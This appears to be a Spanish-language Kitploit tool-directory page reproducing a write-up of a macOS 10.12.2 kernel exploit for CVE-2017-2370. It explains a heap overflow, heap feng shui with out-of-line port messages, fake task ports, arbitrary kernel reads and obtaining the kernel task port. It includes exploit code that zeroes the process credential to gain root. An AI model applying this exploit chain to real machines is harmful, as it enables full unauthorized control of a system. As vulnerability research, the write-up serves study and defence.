Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-2370 — en Mac 10.12.2 | Kitploit
Herramientas/GitHubGitHub/peterpan0927/cve-2017-2370
Escalada de PrivilegiosSeguridad iOSForensia de MemoriaExplotaciónRecopilación de InformaciónExplotación de Binarios
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

en Mac 10.12.2

Ver Repositorio
203hace 8 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

0x00. Introducción

Esta escalada de privilegios explota una vulnerabilidad en mach_voucher_extract_attr_recipe_trap, y el núcleo del método de explotación consiste en usar mensajes MACH_MSG_OOL_PORTS_DESCRIPTOR.

Respecto a mach_msg ool, en términos simples, cuando se envía un msg que contiene un ool descriptor, el kernel copia los datos especificados del espacio de usuario al espacio del kernel, y el kernel mantiene estos datos hasta que la tarea objetivo procesa el mensaje. De manera similar, cuando el proceso objetivo recibe un mensaje que contiene un ool descriptor, el kernel copia los datos del espacio del kernel al espacio de usuario (no necesariamente una copia real). Por lo tanto, se puede aprovechar esta técnica para escribir datos en el heap del kernel o leer datos desde el kernel.

Dado que la explotación de esta vulnerabilidad es mucho más compleja que la de Tridente, la iré analizando paso a paso, desde el punto de origen de la vulnerabilidad hasta su explotación. El código se puede consultar en mi github

0x01. Punto de origen de la vulnerabilidad

En las nuevas funciones añadidas en iOS 10 y macOS 10.12 hay una llamada mach_voucher_extract_attr_recipe_trap, que es un Mach trap invocable dentro de la sandbox. A continuación se muestra el código fuente de esta función:

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. Mediante el análisis podemos saber que en el punto (a), el puntero de espacio de usuario de 4 bytes args->recipe_size se escribe en sz.
  2. En el punto (b), si el tamaño de sz está entre MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) y MACH_VOUCHER_TRAP_STACK_LIMIT (256), se asigna un búfer en el heap del kernel según el valor de sz.
  3. En el punto (c), se copia la memoria del espacio de usuario al área recién asignada, pero el tamaño de copia pasado no es sz (que se usó para asignar el heap del kernel), sino un puntero de espacio de usuario, lo que provoca un desbordamiento de heap. Este es el punto que aprovechamos para el ataque. Además, la función copyin tiene la característica de que se detiene cuando encuentra una página no mapeada (unmap), característica que se aprovechará en nuestro PoC:

copyin

0x01. Pasos de explotación

  1. Primero, debemos hacer controlable el espacio del heap. La técnica que usamos aquí es el heap feng shui, porque después de la aleatorización de freelist, no conocemos la posición de los bloques de memoria reasignados.

Primero hay que entender el procesamiento de MACH_MSG_OOL_PORTS_DESCRIPTOR en mach msg. Cuando el kernel recibe un mensaje complejo y descubre que es un ports descriptor, lo pasa a la función ipc_kmsg_copyin_ool_ports_descriptor (llamada por ipc_kmsg_copyin) para leer todos los objetos port. Esta función llama a kalloc para asignar la memoria necesaria (en 64 bits el tamaño asignado es el doble de la entrada, la longitud de name es de 4 bytes), luego convierte los port válidos de name a la dirección real del objeto ipc_port y los guarda. Para las entradas name que son MACH_PORT_NULL o MACH_PORT_DEAD, se mantienen sin cambios.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

Por lo tanto, durante el ataque, enviamos una gran cantidad de MACH_PORT_DEAD para llenar la región de memoria con 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD), luego desencadenamos la vulnerabilidad para modificar uno de los IPC_PORT_DEAD a un área de memoria preparada por el atacante. Si el área apuntada es una estructura ipc port válida, después de recibir el mensaje OOL PORTS, podemos obtener en el espacio de usuario el port name correspondiente a ese ipc_port, para el siguiente paso del ataque.

Feng shui del heap

  1. Construcción del objeto ipc_object

Primero ya hemos obtenido este fake port. A continuación, para realizar la filtración de información, debemos saber qué parámetros usa el kernel para procesarlo de manera diferente. Primero observemos la estructura de ipc_port:

root@kitploit:~
struct ipc_port {
	//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

Hay un objeto del kernel correspondiente al puerto, y el tipo de objeto del kernel al que corresponde este ipc_port está determinado por los atributos de ipc_object, por lo que en realidad estamos construyendo sobre ipc_object.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态,防止死锁

El kernel reconocerá este ipc_port como un port para la comunicación con el objeto IKOT_CLOCK. El siguiente objetivo es filtrar la dirección base del kernel:

Se falsifica este ipc_port como un objeto IKOT_CLOCK, y luego se establece su puntero kdata.kobject a una dirección del kernel. Cada vez que se modifica esta dirección del kernel, desde el espacio de usuario se invoca clock_sleep_trap, el kernel llama a port_name_to_clock para obtener esa dirección del kernel, y la pasa como argumento clock a clock_sleep_internal. El código fuente es el siguiente:

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

Se puede ver en el código anterior que si la dirección de clock no es la dirección de clock_list[SYSTEM_CLOCK], devuelve KERN_FAILURE; de lo contrario, devuelve otra dirección. Entonces podemos usar el valor devuelto para iterar (modificando continuamente el valor de kobject) hasta que devuelva KERN_FAILURE, y así obtener la dirección de clock_list[SYSTEM_CLOCK] en el kernel. Esta dirección no está en el heap, sino que es una variable global del kernel en un desplazamiento específico. Luego, desde este punto, se lee el encabezado de cada página hacia atrás hasta encontrar MH_MAGIC_64, es decir, 0xfeedfacf.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. Lectura de direcciones arbitrarias del kernel

Una vez que tenemos esta dirección, necesitamos convertir nuestro objeto al tipo task y encontrar la dirección base del kernel, para poder calcular kslide y luego realizar la operación tfp0.

root@kitploit:~
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

Al obtener la dirección de kobject, saltamos al inicio de la página. En los PoC de Yalu102 y Zheng min, el orden de esta operación es diferente, pero eso no importa porque la dirección de faketask también está en esta página, por lo que al realizar una operación AND se obtiene la dirección de inicio de la página.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

Luego se escribe un bucle infinito para buscar MH_MAGIC_64, y luego se pasa a la fase de tfp0:

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

La razón por la que se puede lograr la lectura de direcciones arbitrarias es que la función pid_for_task no hace ninguna comprobación del valor, solo convierte el parámetro entrante en una dirección y realiza algunas operaciones de suma y resta:

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

Todo el flujo consiste en encontrar la lista de procesos del kernel, iterar para encontrar la dirección de nuestro propio proceso y la dirección de pid0. Luego, a partir del proceso del kernel, obtener la dirección de kernel task, y de kernel task obtener itk_sself (el puerto de la tarea del kernel). Luego se sobrescribe la información del ipc port falsificado con los datos de kernel task, se apunta el fake port a la tarea del kernel falsificada, se establece el bootstrap port de la tarea del kernel como el puerto real de la tarea del kernel, y luego se puede obtener el puerto de la tarea del kernel a través de la interfaz task_get_special_port, logrando así lectura/escritura de direcciones arbitrarias y cambiando los permisos de nuestro propio proc a root.

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. Enlaces de referencia

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • Y gracias por la ayuda de shrek_wzw
Descargar herramienta